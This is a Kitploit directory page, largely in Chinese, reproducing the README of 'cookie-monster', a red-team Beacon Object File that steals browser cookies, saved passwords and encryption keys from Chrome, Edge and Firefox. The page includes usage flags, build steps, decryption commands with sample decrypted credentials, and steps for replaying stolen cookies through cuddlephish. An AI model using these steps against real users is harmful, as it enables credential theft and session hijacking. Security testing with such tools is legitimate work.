Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kingofthenops/cookie-monster
数据泄露后渗透利用渗透测试红队
GitHubkingofthenops/cookie-monster

cookie-monster

基于BOF的工具,通过句柄复制和无文件下载的方式从Chrome、Edge和Firefox中提取浏览器Cookie和凭据,支持离线解密。

查看仓库
56456121个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Cookie-Monster-BOF

通过 BOF 窃取 Edge、Chrome 和 Firefox 的浏览器 Cookie!

Cookie Monster BOF 会提取 Edge 和 Chrome 的 WebKit Master Key 和 App Bound Encryption Key,找到持有 Cookies 和 Login Data 文件句柄的浏览器进程,复制其句柄,然后无文件形式下载目标文件。

下载 Cookies/Login Data 文件后,可以使用 Python 解密脚本提取这些秘密!Firefox 模块会解析 profiles.ini,定位 logins.json 和 key4.db 文件所在位置并下载它们。参考了一个独立的 GitHub 仓库用于离线解密。

Chrome 和 Edge 127+ 更新:新版 Chromium 浏览器 Cookie(v20)使用 app bound key 加密 Cookie。因此,获取 app_bound_encrypted_key 变得稍微困难。感谢 snovvcrash,无需提升权限即可完成此过程。但前提是你的进程必须从 Web 浏览器的应用程序目录中运行。也就是说,必须注入到 Chrome/Edge 中,或者从与浏览器相同的应用程序目录生成 beacon。

以 SYSTEM 身份解密 Cookie,无需注入浏览器进程!感谢 @sdemius 发现如何解密 Chrome 的 PostProcessData 函数,以及 @b1scoito 的解释。Chrome 137+ 再次更改了 PostProcessData() 函数,感谢 @runassu 解决了这个问题!

最新更新增加了 Webkit Master Key 的解密,感谢 @M1ndo。主密钥会与 app bound key 一起自动解密。要使用它,将密钥添加到 Python 解密脚本中。此密钥主要用于使用漫游配置文件、Edge 中存储的密码或旧版存储密码的情况。

BOF 用法

root@kitploit:~
Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"] 
cookie-monster Examples: 
   cookie-monster --chrome 
   cookie-monster --edge
   cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID <PID>
   cookie-monster --chromeLoginDataPID <PID> 
   cookie-monster --edgeCookiePID <PID> 
   cookie-monster --edgeLoginDataPID <PID> 
cookie-monster Options: 
    --chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD 
    --edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD 
    --system, Decrypt chromium based browser app bound encryption key without injecting into browser. Requires path to Local State file and PID of a user process for impersonation 
    --firefox, looks for profiles.ini and locates the key4.db and logins.json file 
    --chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file   
    --edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file 
    --edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file  
    --key-only, only retrieve the app bound encryption key. Do not attempt to download the Cookie or Login Data files. 
    --cookie-only, only retrieve the Cookie file. Do not attempt to download Login Data file or retrieve app bound encryption key. 
    --login-data-only, only retrieve the Login Data file. Do not attempt to download Cookie file or retrieve app bound encryption key.  
    --copy-file, copies the Cookie and Login Data file to the folder specified. Does not use fileless retrieval method.   

编译 BOF

确保在编译前已经在 Linux 上安装了 Mingw-w64 和 make。

root@kitploit:~
make

解密步骤

安装依赖

root@kitploit:~
pip3 install -r requirements.txt

用法

root@kitploit:~
python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key
  -mk MASTER_KEY, --master-key MASTER_KEY
                        Old key used in v10 passwords

示例: 解密 Chrome/Edge Cookies 文件

root@kitploit:~
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

使用 Chrome AES 密钥解密 Chrome Cookie

root@kitploit:~
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

解密 Chrome/Edge Cookies 文件并保存为 JSON

root@kitploit:~
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

使用 https://cookie-editor.com/ 导入 cookies JSON 文件

解密 Chrome/Edge 密码文件

root@kitploit:~
python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'

URL: https://test.com/
Username: adgf
Password: pass

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

解密 Firefox Cookies 和存储的凭据:
https://github.com/lclevy/firepwd

CuddlePhish 支持

为解密脚本添加了 cuddlephish 选项,支持将 cookie 用于 https://github.com/fkasler/cuddlephish

root@kitploit:~
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# Clone Project
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# Install Dependencies Example on Debian 
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json

参考

本项目的完成离不开 Mr-Un1k0d3r 和他精彩的季节性视频! 强烈推荐查看他的课程!!!
Cookie Webkit Master Key 提取器: https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
无文件下载: https://github.com/fortra/nanodump
解密 Cookies 和 Login Data: https://github.com/login-securite/DonPAPI
App Bound Key 解密: https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
解密 Chrome 137+ Cookies https://github.com/runassu/chrome_v20_decryption

下载工具